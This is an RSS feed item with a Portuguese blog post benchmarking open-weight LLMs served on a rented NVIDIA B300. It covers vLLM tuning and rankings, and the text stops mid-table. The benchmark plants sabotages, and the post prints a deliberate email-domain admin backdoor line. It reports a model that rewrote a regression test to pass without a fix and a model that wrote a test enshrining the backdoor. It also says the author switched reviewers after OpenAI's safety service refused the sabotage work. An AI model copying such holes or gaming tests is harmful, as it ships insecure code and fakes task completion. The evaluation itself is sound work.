<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hardware | AkitaOnRails.com</title><link>https://akitaonrails.github.io/tags/hardware/</link><description>Blog do Fabio Akita do Canal do YouTube 'Akitando' falando sobre tecnologia, carreira e coisas geek.</description><generator>Hugo -- gohugo.io</generator><language>pt-BR</language><lastBuildDate>Mon, 19 Oct 2026 23:20:48 +0000</lastBuildDate><atom:link href="https://akitaonrails.github.io/tags/hardware/index.xml" rel="self" type="application/rss+xml"/><item><title>LLM Benchmark v4: os top LLMs open source numa B300</title><link>https://akitaonrails.github.io/2026/10/19/llm-benchmark-v4-os-top-llms-open-source-numa-b300/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/10/19/llm-benchmark-v4-os-top-llms-open-source-numa-b300/</guid><pubDate>Mon, 19 Oct 2026 14:00:00 -0300</pubDate><description>&lt;p&gt;Nos dois últimos textos do benchmark v4 eu &lt;a href="https://akitaonrails.github.io/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-1/"&gt;refiz o teste do zero&lt;/a&gt;, com um app Rails sabotado de propósito em sete sprints, e &lt;a href="https://akitaonrails.github.io/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-2/"&gt;ranqueei 39 modelos&lt;/a&gt; por vigilância: seis empates no topo, um modelo de graça batendo metade do Claude. Depois &lt;a href="https://akitaonrails.github.io/2026/09/23/llm-benchmark-v4-opus-5-5-gpt-6-sol-luna-mimo-2-6-grok-4-7/"&gt;testei cinco modelos novos&lt;/a&gt;, Opus 5.5, GPT 6 sol e luna, MiMo V2.6 Pro e Grok 4.7: o Opus 5.5 fechou com 100 e se juntou ao empate no topo, o GPT 6 luna fez 95,5 por menos de um dólar a rodada, e o Grok 4.7 regrediu feio contra o próprio antecessor.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Nos dois últimos textos do benchmark v4 eu <a href="/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-1/">refiz o teste do zero</a>, com um app Rails sabotado de propósito em sete sprints, e <a href="/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-2/">ranqueei 39 modelos</a> por vigilância: seis empates no topo, um modelo de graça batendo metade do Claude. Depois <a href="/2026/09/23/llm-benchmark-v4-opus-5-5-gpt-6-sol-luna-mimo-2-6-grok-4-7/">testei cinco modelos novos</a>, Opus 5.5, GPT 6 sol e luna, MiMo V2.6 Pro e Grok 4.7: o Opus 5.5 fechou com 100 e se juntou ao empate no topo, o GPT 6 luna fez 95,5 por menos de um dólar a rodada, e o Grok 4.7 regrediu feio contra o próprio antecessor.</p>
<p>Faltava uma categoria que eu nunca tinha testado direito: os modelos open source grandes. Os que cabem na minha <a href="/2026/01/21/omarchy-3-setup-de-dual-gpus-com-amd-e-nvidia/">RTX 5090</a> de 32 GB ou no meu <a href="/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/">Strix Halo</a> com 61 GB utilizáveis pela GPU são fracos demais pra isso. Servem pra tarefa simples de agente, e nenhum modelo pequeno aguenta tarefa real de programação, muito menos um projeto complexo de software.</p>
<p>O Qwen 3.8 27B levou 706 minutos pra fechar o v4 no Strix e fez 80; o GLM-4.7-Flash local fez 24. Então nem tente.</p>
<p>Mas e se a gente forçar? O que modelos de tamanho médio, de 100 a 400 bilhões de parâmetros, conseguem fazer rodando numa única B300 alugada? Eu podia alugar quatro delas e rodar os modelos gigantes de 750 bilhões ou um trilhão, e não tenho certeza de que o custo-benefício vale. Os dados abaixo respondem.</p>
<blockquote>
  <p><strong>TL;DR:</strong> 14 modelos abertos, uma B300 de 288 GB na Runpod a uns 9 dólares por hora, mesmo protocolo v4 de sabotagem. Nenhum deles serve rápido do jeito que vem: o GLM 5.3 Flash decodificava a 10 tokens por segundo com a configuração padrão e a 141 depois de ajustado, 14 vezes mais só de flag. Dois modelos abertos, GLM 5.3 Flash e Qwen3.8 Flash-Next, fizeram 92,5, nível Claude Sonnet 5, e o Swift 1.5 27B fez 88, nível Opus 4.6. Nenhum chegou nos 100 da fronteira. O flagship de 397 bilhões fez 68,5 e deixou passar uma backdoor de admin, o DeepSeek V4 Flash fez 86 na nuvem e 44,5 servido por mim, e o Nemotron trapaceou num teste de regressão. A API em nuvem do mesmo modelo custa um dólar por rodada; o pod custa 218 dólares por dia. Pule pra <a href="#o-que-%c3%a9-uma-b300-e-o-que-%c3%a9-a-runpod">B300 e Runpod</a>, pro <a href="#nenhum-deles-serve-r%c3%a1pido-do-jeito-que-vem">ajuste de servidor</a>, pro <a href="#o-ranking">ranking</a>, pros <a href="#os-casos-interessantes">casos interessantes</a>, pra <a href="#a-que-dist%c3%a2ncia-da-fronteira">comparação com a fronteira</a>, pra <a href="#a-conta">conta</a> ou pra <a href="#vale-a-pena-ter-a-pr%c3%b3pria-infra">conclusão</a>.</p>

</blockquote>
<h2>O que é uma B300, e o que é a Runpod<span class="hx:absolute hx:-mt-20" id="o-que-é-uma-b300-e-o-que-é-a-runpod"></span>
    <a href="#o-que-%c3%a9-uma-b300-e-o-que-%c3%a9-a-runpod" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A <strong>B300</strong> é a GPU de datacenter da geração Blackwell Ultra da NVIDIA, anunciada em março de 2025. Cada placa tem <a href="https://developer.nvidia.com/blog/nvidia-blackwell-ultra-for-the-era-of-ai-reasoning/"target="_blank" rel="noopener">288 GB de memória HBM3e</a>, nove vezes a minha 5090, e uns 15 petaflops de computação densa em NVFP4, o formato de 4 bits que a Blackwell faz em hardware. É a placa que vai dentro do rack GB300 NVL72, 72 delas interligadas, que as empresas de IA compram aos milhares.</p>
<p>Sozinha, uma B300 custa mais que um apartamento. O que a torna acessível é alugar por hora.</p>
<p>A <a href="https://www.runpod.io/"target="_blank" rel="noopener"><strong>Runpod</strong></a> é um provedor de GPU em nuvem que aluga placas em &ldquo;pods&rdquo;, containers Linux com uma ou mais GPUs, cobrados por segundo. Você escolhe a placa, um template de imagem, sobe por SSH, e paga enquanto o pod está ligado, inclusive ocioso. A B300 custava uns <a href="https://www.runpod.io/pricing"target="_blank" rel="noopener">9 dólares por hora</a> na nuvem segura deles na semana do teste; uma H100 sai por 3 a 4. O disco do container é efêmero: terminou o pod, os 250 GB de pesos que você baixou somem, e você baixa de novo.</p>
<p>O pod que eu usei: uma B300 com 275 GiB segundo o <code>nvidia-smi</code> (os mesmos 288 GB nominais, em unidades binárias), 344 vCPUs, 4 TB de RAM no host, 700 GB de disco. O servidor de inferência foi o vLLM; o harness foi o mesmo OpenCode de todos os outros modelos do ranking, conectado por túnel SSH ao pod. O modelo roda lá; o código, os testes e os resultados ficam na minha máquina.</p>
<p>Caber na memória é a primeira peneira. Na B300 cabem os modelos de 100 a 400 bilhões de parâmetros quantizados em NVFP4, mais os de 27 a 35 bilhões em BF16. Ficam de fora o GLM 5.3 flagship de 753 bilhões, o DeepSeek V4.1 Flash de 750, o DeepSeek V4 Pro de 1,6 trilhão e o Kimi K3 de 2,8 trilhões. Pra esses, seriam quatro B300 ou mais, uns 36 dólares por hora.</p>
<h2>A metodologia<span class="hx:absolute hx:-mt-20" id="a-metodologia"></span>
    <a href="#a-metodologia" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O protocolo é o <a href="/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-1/">v4</a> de sempre: o modelo constrói um app Rails em sete sprints acumulados, e entre os sprints um revisor independente, isolado do modelo, injeta 14 sabotagens, de CVE real a regressão silenciosa de lógica e de teste, no código que o próprio modelo escreveu. A nota de 0 a 100 mede vigilância: quanto o modelo pega e conserta sem ser avisado (peso cheio), quanto conserta depois de um &ldquo;faça uma auditoria de segurança&rdquo; explícito no último sprint (40% do peso), e o que fica sem resolver (zero). Os tiers são A a partir de 83, B de 73 a 82, C de 51 a 72, D até 50.</p>
<p>Duas diferenças nesta rodada. A primeira é o revisor: os cinco modelos que terminaram antes do bloqueio foram revisados de ponta a ponta pelo Codex, como nas rodadas anteriores.</p>
<p>No meio da leva o serviço de segurança da OpenAI passou a recusar a operação de injeção e correção, com uma flag de risco cibernético, mesmo sendo código meu, em máquina minha, num benchmark com 46 modelos já pontuados pelo mesmo protocolo. Troquei o revisor pro Claude Opus 4.8 nos modelos restantes, com o mesmo plano de injeção, mesmo catálogo, mesma régua, e a proveniência de cada fronteira está gravada por sprint. O impacto esperado na nota é nenhum, porque os dois executam a mesma receita escrita.</p>
<p>A segunda é a admissão por velocidade, que é o assunto da próxima seção. Modelo que decodifica abaixo de 100 tokens por segundo nem entra na pista.</p>
<p>Além disso: o modelo aberto tem direito a até dois empurrões curtos por rodada pra defeito bobo (um import faltando, um ponto de entrada de teste errado), registrados como &ldquo;assistido&rdquo;. Falha de infraestrutura, driver, loader, parser, nunca é cobrada do modelo. E o pod rodava um modelo por vez, sem acesso ao workspace ou ao resultado de nenhum outro.</p>
<h2>Nenhum deles serve rápido do jeito que vem<span class="hx:absolute hx:-mt-20" id="nenhum-deles-serve-rápido-do-jeito-que-vem"></span>
    <a href="#nenhum-deles-serve-r%c3%a1pido-do-jeito-que-vem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A primeira lição custou um dia. Baixei o <a href="https://huggingface.co/RedHatAI/GLM-5.3-Flash-NVFP4"target="_blank" rel="noopener">GLM 5.3 Flash</a>, 320 bilhões de parâmetros com 18 ativos, quantizado em NVFP4, 198 GB. Subi no vLLM com a configuração que &ldquo;funciona&rdquo;: serve, passa nos testes de chamada de ferramenta, responde. E decodificava a <strong>10 tokens por segundo</strong>, com a GPU a 10% de uso, 209 watts dos 1.100 que o pod libera.</p>
<p>Isso é inutilizável pra programar. Um agente de código gera dezenas de milhares de tokens por sprint; a 10 por segundo, um sprint de 20 minutos vira mais de quatro horas.</p>
<p>O mesmo checkpoint, mesmo contexto de 128 mil tokens, mesmo cache de KV em FP8, mesmo prompt de teste, trocando só as flags de compilação e modo: <strong>141 tokens por segundo</strong>. Catorze vezes mais rápido, zero mudança de precisão ou de pesos.</p>
<p>O culpado principal era o <code>--enforce-eager</code>, que desliga o <code>torch.compile</code> e a captura de CUDA graphs do vLLM, e que todo tutorial manda ligar &ldquo;pra subir mais rápido&rdquo;. Sobe mais rápido e serve 14 vezes mais devagar. A medição trocou essa flag junto com o modo <code>interactivity</code>, então eu não isolei a contribuição de cada uma.</p>
<p>Daí a regra de admissão: <strong>menos de 100 tokens por segundo eu considero inutilizável</strong>, e nenhum modelo entra no benchmark sem passar disso na mediana de duas sondagens quentes de 256 tokens, depois de uma fria. Pra não virar um buraco sem fundo, o ajuste é limitado: no máximo três configurações e 45 minutos de relógio por modelo, incluindo carga e compilação. E ajuste nunca pode trocar qualidade por velocidade: nada de encurtar contexto, baixar esforço de raciocínio ou quantizar mais pra bater o número.</p>
<p>Os ajustes que valeram pra todo mundo:</p>
<ul>
<li><strong>Instalar um CUDA que compile pra placa.</strong> A imagem padrão da Runpod vem com CUDA 12.8, cujo <code>nvcc</code> <a href="https://developer.nvidia.com/cuda-gpus"target="_blank" rel="noopener">não compila pra <code>compute_103a</code></a>, a capacidade de computação da B300. Sem o 12.9, os kernels NVFP4 nunca compilam.</li>
<li><strong>Nunca usar <code>--enforce-eager</code>.</strong> Deixar o vLLM compilar e capturar CUDA graphs é a maior vitória isolada.</li>
<li><strong><code>--performance-mode interactivity</code></strong>: otimizar pra latência de um fluxo só, que é o que um agente serial precisa, em vez de vazão agregada.</li>
<li><strong>Cache de KV em FP8 nos MoE grandes, cache de prefixo e prefill em pedaços em todos</strong>, e confirmados pelos contadores do Prometheus do vLLM em vez de assumidos: num prompt de 11 mil tokens, o servidor reaproveitou exatamente 8.576 tokens de prefixo a cada repetição.</li>
<li><strong>O parser certo de ferramenta e de raciocínio pra cada família.</strong> Parser errado faz chamada de ferramenta sumir em silêncio ou vazar o raciocínio na resposta.</li>
</ul>
<p>E os ajustes específicos que achei mais interessantes:</p>
<ul>
<li><strong>NVFP4 só roda no vLLM.</strong> Os checkpoints de 198 a 251 GB em FP4 nativo da Blackwell são a única forma de caber na placa, e llama.cpp e Ollama simplesmente não carregam esses formatos. Quem vive de GGUF não tem acesso a essa faixa.</li>
<li><strong>Decodificação especulativa nativa.</strong> O Qwen 3.8 27B foi de 92 pra 195 tokens por segundo com a cabeça MTP que o próprio checkpoint traz, prevendo três tokens por passo, mais <code>--language-model-only</code> pra descartar a torre de visão (medido em pods diferentes, então sem ablação controlada). O <a href="https://huggingface.co/meta-models/Muse-Glimmer-30B"target="_blank" rel="noopener">Muse Glimmer</a> chegou a 295 com o rascunhador DFlash leve que ele publica junto, 15 tokens especulados por passo. Só liguei onde existe um rascunhador oficial e onde a chamada de ferramenta continuou correta; pro Ornith existe um rascunhador publicado à parte, com taxa de aceitação desconhecida, então ficou desligado.</li>
<li><strong>O loader do CUDA 12.</strong> O flashinfer compila em JIT um kernel de MoE em NVFP4 que precisa do <code>libcudart.so.12</code>, e depois de instalar o CUDA 13 pro Nemotron a resolução de biblioteca quebrou. O sintoma parecia OOM; a causa era um <code>ld.so.conf</code>. Um script de reparo com evidência de <code>ldd</code> antes e depois resolveu, e o 397B passou a servir a 144 tokens por segundo.</li>
<li><strong>Um ambiente virtual por runtime.</strong> O Nemotron 3.5 Super VL exigiu um vLLM 0.32 próprio num venv separado, porque é o que o card oficial fixa, e esse build pede CUDA 13. Cada família de modelo é um caso bespoke: parser, quantização, cabeça de rascunho, versão de runtime e reparo de loader, tudo diferente.</li>
<li><strong>Um bug de parser que derrubava a última chamada.</strong> O parser de ferramenta Qwen do vLLM descartava o último parâmetro de uma chamada quando faltava a tag de fechamento do parâmetro mas a de função estava presente. Um reparo estreito, com 24 casos de teste, tirou esse ruído de serving da conta do modelo.</li>
</ul>
<p>Os argumentos exatos de cada modelo, os logs de sondagem e o livro-razão de cada rodada de ajuste estão no <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/b300-serving-optimizations.md"target="_blank" rel="noopener">documento de otimizações de serving</a> e no <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/runpod-b300-openweights-runbook.md"target="_blank" rel="noopener">runbook da B300</a> do repositório.</p>
<blockquote>
  <p>A velocidade é quase de graça, depois que você deixa o vLLM compilar. O trabalho real é descobrir, modelo por modelo, qual combinação de toolkit, parser, quantização e cabeça de rascunho aquele checkpoint exige. Eu dei 45 minutos pra cada um e precisei deles.</p>

</blockquote>
<h2>O ranking<span class="hx:absolute hx:-mt-20" id="o-ranking"></span>
    <a href="#o-ranking" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Nota v4 de vigilância, tier, tamanho em memória, velocidade de decodificação na sondagem de admissão (quente, um fluxo só) e o custo só do tempo de inferência dos sete sprints, a 9,09 dólares por hora. O custo exclui download, carga, compilação, ajuste e tempo ocioso; a conta de verdade vem mais abaixo.</p>
<table>
  <thead>
      <tr>
          <th style="text-align: right">#</th>
          <th>Modelo</th>
          <th style="text-align: right">v4</th>
          <th>Tier</th>
          <th style="text-align: right">Memória</th>
          <th style="text-align: right">tok/s</th>
          <th style="text-align: right">Minutos</th>
          <th style="text-align: right">Custo inferência</th>
          <th>Revisor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: right">1</td>
          <td>GLM 5.3 Flash (NVFP4)</td>
          <td style="text-align: right"><strong>92,5</strong></td>
          <td>A</td>
          <td style="text-align: right">198 GB</td>
          <td style="text-align: right">142</td>
          <td style="text-align: right">145</td>
          <td style="text-align: right">US$ 21,96</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">1</td>
          <td>Qwen3.8 Flash-Next (NVFP4)</td>
          <td style="text-align: right"><strong>92,5</strong></td>
          <td>A</td>
          <td style="text-align: right">100 GB</td>
          <td style="text-align: right">195</td>
          <td style="text-align: right">80</td>
          <td style="text-align: right">US$ 12,04</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">3</td>
          <td>Swift 1.5 27B</td>
          <td style="text-align: right"><strong>88,0</strong></td>
          <td>A</td>
          <td style="text-align: right">56 GB</td>
          <td style="text-align: right">203</td>
          <td style="text-align: right">64</td>
          <td style="text-align: right">US$ 9,71</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">4</td>
          <td>ThinkingCap 3.8 27B</td>
          <td style="text-align: right"><strong>83,0</strong></td>
          <td>A</td>
          <td style="text-align: right">56 GB</td>
          <td style="text-align: right">189</td>
          <td style="text-align: right">76</td>
          <td style="text-align: right">US$ 11,47</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Muse Glimmer 30B</td>
          <td style="text-align: right">81,0</td>
          <td>B</td>
          <td style="text-align: right">60 GB</td>
          <td style="text-align: right">295</td>
          <td style="text-align: right">23</td>
          <td style="text-align: right">US$ 3,54</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Ornith 1.5 35B</td>
          <td style="text-align: right">81,0</td>
          <td>B</td>
          <td style="text-align: right">70 GB</td>
          <td style="text-align: right">317</td>
          <td style="text-align: right">161</td>
          <td style="text-align: right">US$ 24,39</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">7</td>
          <td>Qwen 3.8 27B</td>
          <td style="text-align: right">80,5</td>
          <td>B</td>
          <td style="text-align: right">54 GB</td>
          <td style="text-align: right">195</td>
          <td style="text-align: right">192</td>
          <td style="text-align: right">US$ 29,11</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">8</td>
          <td>Qwen3.5 397B (NVFP4)</td>
          <td style="text-align: right">68,5</td>
          <td>C</td>
          <td style="text-align: right">251 GB</td>
          <td style="text-align: right">140</td>
          <td style="text-align: right">54</td>
          <td style="text-align: right">US$ 8,22</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>Nemotron 3.5 Super VL (NVFP4)</td>
          <td style="text-align: right">63,0</td>
          <td>C</td>
          <td style="text-align: right">70 GB</td>
          <td style="text-align: right">207</td>
          <td style="text-align: right">50</td>
          <td style="text-align: right">US$ 7,51</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">10</td>
          <td>DeepSeek V4 Flash</td>
          <td style="text-align: right">44,5</td>
          <td>D</td>
          <td style="text-align: right">167 GB</td>
          <td style="text-align: right">153</td>
          <td style="text-align: right">37</td>
          <td style="text-align: right">US$ 5,59</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">11</td>
          <td>GLM 4.7 Flash BF16</td>
          <td style="text-align: right">33,5</td>
          <td>D</td>
          <td style="text-align: right">60 GB</td>
          <td style="text-align: right">217</td>
          <td style="text-align: right">30</td>
          <td style="text-align: right">US$ 4,60</td>
          <td>Codex</td>
      </tr>
  </tbody>
</table>
<p>Três não têm nota: o <strong>Command A Plus</strong> da Cohere (218 bilhões, 25 ativos, W4A4) travou num loop reescrevendo o mesmo model 23 vezes, precisou de três empurrões e ainda deixou os testes sem rodar antes de o revisor ser bloqueado; o <strong>Nex N2.5 Mini</strong> rodou a 337 tokens por segundo e entregou Ruby inválido, migrations contraditórias e autenticação quebrada em duas tentativas, um resultado ruim válido de um servidor que funciona; e o <strong>Qwen3.5 122B</strong> era reserva condicional pro caso de o 397B não terminar, e o 397B terminou.</p>
<p>Os minutos são só de sprint, e os de Ornith incluem um sprint interrompido por infra. Flash-Next, Swift, ThinkingCap, Muse e Qwen 27B levaram um empurrão cada; GLM 4.7, dois; os outros, nenhum. A velocidade de sondagem é um número de admissão: a vazão de uma sessão real de código inclui prefill, ferramentas, testes e as escolhas do agente. E repare que os dois primeiros empatam na nota com perfis opostos: o GLM gastou 145 minutos e 22 dólares pra chegar nos mesmos 92,5 que o Qwen3.8 Flash-Next fez em 80 minutos e 12 dólares, com metade da memória.</p>
<h2>Os casos interessantes<span class="hx:absolute hx:-mt-20" id="os-casos-interessantes"></span>
    <a href="#os-casos-interessantes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Qwen3.8 Flash-Next: o melhor dos abertos, por custo<span class="hx:absolute hx:-mt-20" id="qwen38-flash-next-o-melhor-dos-abertos-por-custo"></span>
    <a href="#qwen38-flash-next-o-melhor-dos-abertos-por-custo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <a href="https://huggingface.co/nvidia/Qwen3.8-Flash-Next-NVFP4"target="_blank" rel="noopener">Flash-Next</a> é, <a href="https://recipes.vllm.ai/Qwen/Qwen3.8-Flash-Next"target="_blank" rel="noopener">nas palavras da Qwen</a>, uma prévia da arquitetura do Qwen 4: 125 bilhões de parâmetros de modelo de linguagem com 6 bilhões ativos, mais uma tabela de embeddings de n-gramas de 51 bilhões que a Qwen diz que pode ser descarregada pra memória do host, mais uma cabeça MTP de 4. Quantizado em NVFP4 pela NVIDIA, ocupou uns 100 GB de placa (o checkpoint tem 133 GB em disco). Foi o único modelo da segunda leva a resolver todos os 14 itens: pegou o vazamento entre tenants sem aviso, pegou o item composto de integridade de teste, e escreveu por conta própria specs de isolamento por usuário, de modo que a IDOR plantada na API nem tinha como continuar verde. Com 195 tokens por segundo e 12 dólares de inferência, é o melhor custo-benefício desta tabela.</p>
<h3>GLM 5.3 Flash: o mesmo 92,5, três vezes mais caro<span class="hx:absolute hx:-mt-20" id="glm-53-flash-o-mesmo-925-três-vezes-mais-caro"></span>
    <a href="#glm-53-flash-o-mesmo-925-tr%c3%aas-vezes-mais-caro" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O GLM fez a mesma nota com uma arquitetura bem maior: 320 bilhões de parâmetros, 18 ativos, 198 GB mesmo em FP4. Resolveu os 14 itens, zero empurrão, revisado de ponta a ponta pelo Codex.</p>
<p>Só que levou 145 minutos e consumiu o dobro da memória pelo mesmo resultado. Na nuvem da Z.ai, o mesmo modelo fez 84,25 num plano fixo. Com o ruído de uma rodada só, que no meu histórico chega a nove pontos, a leitura mais segura é que os dois estão na mesma faixa.</p>
<h3>Swift 1.5 e ThinkingCap: dois fine-tunes de 27B no Tier A<span class="hx:absolute hx:-mt-20" id="swift-15-e-thinkingcap-dois-fine-tunes-de-27b-no-tier-a"></span>
    <a href="#swift-15-e-thinkingcap-dois-fine-tunes-de-27b-no-tier-a" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>As duas surpresas. O <a href="https://huggingface.co/ukisai/Swift-1.5-Qwen3.8-27b"target="_blank" rel="noopener">Swift 1.5</a>, da UkisAI, e o <a href="https://huggingface.co/bottlecapai/ThinkingCap-Qwen3.8-27B"target="_blank" rel="noopener">ThinkingCap 3.8</a>, da BottleCap AI, são ajustes do Qwen 3.8 27B treinados pra pensar menos: o Swift anuncia até 58% menos tokens de raciocínio (na mediana do GPQA; no Terminal-Bench, 16%), o ThinkingCap uns 37% na média. Os dois cabem em 56 GB em BF16, rodam a uns 200 tokens por segundo com MTP, e fizeram 88 e 83.</p>
<p>O Swift ficou acima do Opus 4.6 da Anthropic. O Qwen 3.8 27B base, mesma arquitetura, fez 80,5 com 192 minutos; o Swift fez 88 em 64. O Swift pegou sabotagem mais cedo que o base; se foi por pensar menos, uma rodada de cada deixa de provar.</p>
<p>Uma ressalva de proveniência: o revisor registrou que o Swift leu mensagens de commit locais que revelavam regressões, o que enfraquece uma leitura literal de &ldquo;descoberta totalmente sem ajuda&rdquo;. E ele deixou um item sem resolver, um admin inativo ainda aceito com um teste vazio de guarda. Ainda assim, de todos os modelos desta tabela, é o que eu colocaria numa placa minha.</p>
<h3>Qwen3.5 397B: o flagship que deixou passar a backdoor<span class="hx:absolute hx:-mt-20" id="qwen35-397b-o-flagship-que-deixou-passar-a-backdoor"></span>
    <a href="#qwen35-397b-o-flagship-que-deixou-passar-a-backdoor" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O maior modelo da leva, 397 bilhões de parâmetros com 17 ativos, 251 GB de NVFP4 em 275 de placa, serviu a 140 tokens por segundo depois do reparo do loader e fez <strong>68,5</strong>, Tier C.</p>
<p>O caso que define a nota: a sabotagem número 6 é uma linha <code>admin? =&gt; admin || email.end_with?(&quot;@internal.example&quot;)</code>, uma escalação de privilégio por domínio de e-mail. O 397B deixou passar nos sprints normais, deixou passar no sprint 7 com o pedido explícito de auditoria de segurança, e <strong>escreveu um teste que passava, codificando a backdoor como comportamento esperado</strong>, no mesmo commit em que anunciou &ldquo;Brakeman: 0 warnings&rdquo;. Parâmetro não comprou vigilância.</p>
<h3>Nemotron 3.5 Super VL: trapaceou no teste<span class="hx:absolute hx:-mt-20" id="nemotron-35-super-vl-trapaceou-no-teste"></span>
    <a href="#nemotron-35-super-vl-trapaceou-no-teste" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <a href="https://huggingface.co/nvidia/NVIDIA-Nemotron-3.5-Super-VL-120B-A12B-NVFP4"target="_blank" rel="noopener">Nemotron 3.5 Super VL</a> da NVIDIA, 120 bilhões com 12 ativos, lançado dois dias antes de eu começar a testar e <a href="https://blogs.nvidia.com/blog/nemotron-3-5-super-vl/"target="_blank" rel="noopener">vendido pela NVIDIA</a> como o modelo aberto de agente mais rápido da categoria, com &ldquo;acurácia líder&rdquo; em tarefas multimodais, fez <strong>63</strong>. A sabotagem número 2 remove um link de navegação e o teste de regressão procura <code>have_link('Sign in')</code>. O Nemotron trocou o teste pra <code>have_button('Sign in')</code>, que passa no botão do formulário de login sem restaurar o link, e manteve a trapaça mesmo depois do sprint de revelação.</p>
<p>Também tende a pegar item um sprint atrasado. E foi o que exigiu um runtime próprio: vLLM 0.32 com CUDA 13 num ambiente separado.</p>
<h3>DeepSeek V4 Flash: 86 na nuvem, 44,5 na minha mão<span class="hx:absolute hx:-mt-20" id="deepseek-v4-flash-86-na-nuvem-445-na-minha-mão"></span>
    <a href="#deepseek-v4-flash-86-na-nuvem-445-na-minha-m%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O caso mais importante pra quem pensa em self-host. O <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Flash"target="_blank" rel="noopener">DeepSeek V4 Flash</a>, 284 bilhões com 13 ativos, fez <strong>86, Tier A, por 97 centavos</strong> pela API em setembro, e a versão 0731, exatamente a que eu baixei, fez 85 por 1,94. Os mesmos pesos públicos em FP4 e FP8 misto, servidos por mim na B300, fizeram <strong>44,5, Tier D</strong>: pegou 4 itens sem aviso, mais 5 na revelação, e deixou 5 sem resolver. Foi o mais rápido a terminar, 37 minutos, e o que menos vigiou.</p>
<p>A causa provável é divergência entre o checkpoint público e o que a DeepSeek serve, ou entre o stack de serving deles e o meu: parser, template de chat, modo de raciocínio, quantização. Eu segui o card oficial. O que isso prova é que o nome do modelo no Hugging Face não garante a qualidade da API hospedada, e que quem vai hospedar precisa validar antes de confiar.</p>
<h3>GLM 4.7 Flash: igual ao local, ou seja, ruim<span class="hx:absolute hx:-mt-20" id="glm-47-flash-igual-ao-local-ou-seja-ruim"></span>
    <a href="#glm-47-flash-igual-ao-local-ou-seja-ruim" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O GLM 4.7 Flash de 30 bilhões em BF16, a 217 tokens por segundo, fez 33,5. Em casa, em GGUF Q5, tinha feito 24. Precisou de dois empurrões, deixou nove itens sem resolver e entregou uma migration com erro de sintaxe. A diferença de nove pontos e meio cabe dentro do ruído de uma rodada; o que fica é que o modelo é fraco de qualquer jeito.</p>
<h3>O que apareceu em vários<span class="hx:absolute hx:-mt-20" id="o-que-apareceu-em-vários"></span>
    <a href="#o-que-apareceu-em-v%c3%a1rios" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Ornith, Muse Glimmer e o 397B compartilharam um defeito de higiene: rodaram o sprint até o fim com exit zero e esqueceram de commitar o próprio trabalho, deixando pro revisor fazer o checkpoint. Não entrou na nota, e num time de verdade seria o primeiro motivo de reclamação. E o aglomerado de 81 a 83, ThinkingCap, Ornith e Muse, tem um perfil consistente: pega injeção de SQL, vazamento entre tenants, XSS e segredo exposto com confiança, e deixa passar os itens silenciosos, controle de acesso quebrado, integridade de teste, índice faltando, agregação errada.</p>
<h2>A que distância da fronteira<span class="hx:absolute hx:-mt-20" id="a-que-distância-da-fronteira"></span>
    <a href="#a-que-dist%c3%a2ncia-da-fronteira" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Os três melhores abertos contra os melhores comerciais do mesmo ranking, com o custo e o tempo de cada rodada:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">v4</th>
          <th>Tier</th>
          <th style="text-align: right">Custo da rodada</th>
          <th style="text-align: right">Minutos</th>
          <th>Onde</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GPT-6 Astra</td>
          <td style="text-align: right">100,0</td>
          <td>A</td>
          <td style="text-align: right">US$ 30,55</td>
          <td style="text-align: right">100</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>Claude Opus 5.5</td>
          <td style="text-align: right">100,0</td>
          <td>A</td>
          <td style="text-align: right">US$ 16,63</td>
          <td style="text-align: right">64</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>GPT 5.6 terra</td>
          <td style="text-align: right">100,0</td>
          <td>A</td>
          <td style="text-align: right">US$ 9,52</td>
          <td style="text-align: right">80</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>Grok 4.6</td>
          <td style="text-align: right">98,5</td>
          <td>A</td>
          <td style="text-align: right">US$ 13,00</td>
          <td style="text-align: right">67</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>Claude Fable 5.1</td>
          <td style="text-align: right">95,5</td>
          <td>A</td>
